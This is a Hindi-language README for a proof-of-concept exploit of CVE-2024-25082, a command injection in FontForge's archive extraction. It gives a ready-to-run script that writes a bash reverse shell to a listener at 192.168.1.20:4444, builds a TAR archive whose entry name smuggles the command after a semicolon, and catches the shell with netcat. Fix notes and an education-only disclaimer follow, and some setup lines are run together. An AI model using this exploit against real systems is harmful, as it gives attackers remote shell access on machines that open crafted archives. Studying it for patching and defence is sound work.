
FontForge Splinefont निर्मित फ़ाइल नाम कमांड इंजेक्शन भेद्यता
दो कमांड इंजेक्शन कमजोरियों के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट FontForge ≤ 20230101 (Splinefont घटक) में।
| CVE | वेक्टर | ट्रिगर |
|---|---|---|
| CVE-2024-25081 | निर्मित फ़ाइलनाम | सीधा फ़ाइल खोलना |
| CVE-2024-25082 | निर्मित आर्काइव फ़ाइलनाम | TAR/ZIP/GZ/BZ2 निष्कर्षण |
यह PoC CVE-2024-25082 को लक्षित करता है — FontForge का स्वचालित आर्काइव निष्कर्षण बिना सैनिटाइज़ेशन के फ़ाइलनामों को शेल में पास करता है, जिससे TAR प्रविष्टि नाम में एम्बेडेड एक सेमीकोलन-विभाजित पेलोड मनमाने कमांड निष्पादित कर सकता है।
FontForge आर्काइव से सीधे फ़ॉन्ट फ़ाइलें खोलने का समर्थन करता है। TAR आर्काइव निकालते समय, Splinefont घटक आर्काइव प्रविष्टि से फ़ाइलनाम का उपयोग करके एक शेल कमांड बनाता है। चूंकि फ़ाइलनाम सैनिटाइज़ नहीं किया गया है, प्रविष्टि नाम में एक सेमीकोलन (;) अपेक्षित कमांड से बाहर निकल जाता है और मनमाने शेल निर्देश इंजेक्ट करता है।
दुर्भावनापूर्ण TAR प्रविष्टि नाम:
exploit.ttf;bash /tmp/s.sh;
जब FontForge इस आर्काइव को संसाधित करता है, तो शेल इसे इस प्रकार समझता है:
<extract command> exploit.ttf ; bash /tmp/s.sh ;
192.168.1.20:4444 (आवश्यकतानुसार समायोजित करें)tarfile मॉड्यूल)netcatnc -lvnp 4444
# रिवर्स शेल पेलोड लिखें
echo 'bash -i >& /dev/tcp/192.168.1.20/4444 0>&1' > /tmp/s.sh
chmod +x /tmp/s.sh
# दुर्भावनापूर्ण आर्काइव बनाएँ
python3 << 'EOF'
import tarfile, io
malicious_name = "exploit.ttf;bash /tmp/s.sh;"
tar = tarfile.open("exploit.tar", "w")
info = tarfile.TarInfo(name=malicious_name)
info.size = 4
tar.addfile(info, io.BytesIO(b"AAAA"))
tar.close()
print("done")
EOF
fontforge exploit.tar
एक रिवर्स शेल आपके लिसनर से वापस जुड़ जाएगा।
FontForge post-20230101 में PR #5367 के माध्यम से ठीक किया गया। नवीनतम रिलीज़ में अपग्रेड करें।
sudo apt upgrade fontforgeयह प्रूफ ऑफ कॉन्सेप्ट (PoC) कोड केवल शैक्षिक और अधिकृत पैनेट्रेशन टेस्टिंग उद्देश्यों के लिए प्रदान किया गया है।